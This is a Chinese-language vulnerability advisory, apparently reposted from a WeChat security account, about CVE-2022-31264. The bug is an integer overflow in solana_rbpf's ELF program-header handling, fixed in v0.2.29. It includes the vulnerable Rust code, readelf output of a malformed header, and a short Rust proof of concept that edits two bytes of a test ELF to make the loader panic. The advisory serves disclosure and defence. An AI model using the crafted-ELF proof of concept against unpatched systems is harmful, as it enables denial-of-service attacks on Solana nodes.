点击上方蓝字“Ots安全”一起玩耍
0.2.29 之前的 Solana solana_rbpf 通过无效的 ELF 程序头有一个加法整数溢出。elf.rs 通过格式错误的 eBPF 程序感到恐慌。
# | 漏洞状态 | 描述 |
---|---|---|
1 | 漏洞细节 | 有 |
2 | 漏洞类型 | 整数溢出 |
3 | 漏洞等级 | 未知 |
4 | 野外利用 | 未知 |
5 | EXP | 未知 |
6 | POC | 未知 |
7 | CVE编号 | CVE-2022-31264 |
-
https://github.com/Ainevsia/CVE-Request/tree/main/Solana/1
-
https://github.com/solana-labs/rbpf/releases/tag/v0.2.29
-
无
-
<=v0.2.28
Solana rbpf 整数溢出漏洞
此漏洞存在于影响 rbpf <=v0.2.28 版本的 elf 模块 (src/elf.rs) 中。
漏洞描述
solana_rbpf (src/elf.rs) 中存在整数溢出漏洞,这将导致程序在加载格式错误的 ebpf 程序时出现恐慌。
代码在第 132 行的最新 goblin 调试版本中出现了恐慌,很明显这是一个整数溢出,因为 goblin 使用了直接加法运算符,该运算符具有溢出检查。
/// Returns this program header's virtual memory range
pub fn vm_range(&self) -> Range<usize> {
self.p_vaddr as usize..self.p_vaddr as usize + self.p_memsz as usize
}
根本原因是给定elf的VirtAddr和MemSiz可能大到足以溢出这个vm_range函数(0xff00000100000000 + 0xff00000000000018)。给出了 readelf -l 的输出,它显示了程序头表。
readelf -l reloc_64_relative_high_vaddr.so.malformed
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000001000 0xff00000100000000 0x0000000100000000
0x0000000000000018 0xff00000000000018 R E 0x1000
...[omit]
因此,通过加载格式错误的精灵,攻击者可以轻松地使用精心制作的精灵数据执行拒绝服务攻击。
POC
use solana_rbpf::{
elf::Executable,
user_error::UserError,
vm::{SyscallRegistry, TestInstructionMeter, Config},
};
use std::io::Read;
fn main() {
let mut config = Config::default();
config.reject_broken_elfs = true;
let mut file = std::fs::File::open("./tests/elfs/reloc_64_relative_high_vaddr.so").expect("open failed");
let mut buffer: Vec<u8> = vec![];
file.read_to_end(&mut buffer).expect("read failed");
buffer[80+7] = 0xff;
buffer[96+15] = 0xff;
Executable::<UserError, TestInstructionMeter>::load(config,&buffer,SyscallRegistry::default());
/*
thread 'main' panicked at 'attempt to add with overflow', goblin/src/elf/program_header.rs:132:36
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
*/
}
时间线
2022.05.16 向 Solana 官方团队汇报
2022.05.18 Solana 官方团队在v0.2.29中修复了这个问题
2022.05.21 向CVE&CNVD报告
2022.05.22 CVE ID 分配:CVE-2022-31264
致谢
来自上海交通大学 NSSL(网络与系统安全实验室)和北京长亭科技有限公司区块链安全组的@Ainevsia
原文始发于微信公众号(Ots安全):区块链安全 Solana rbpf 整数溢出漏洞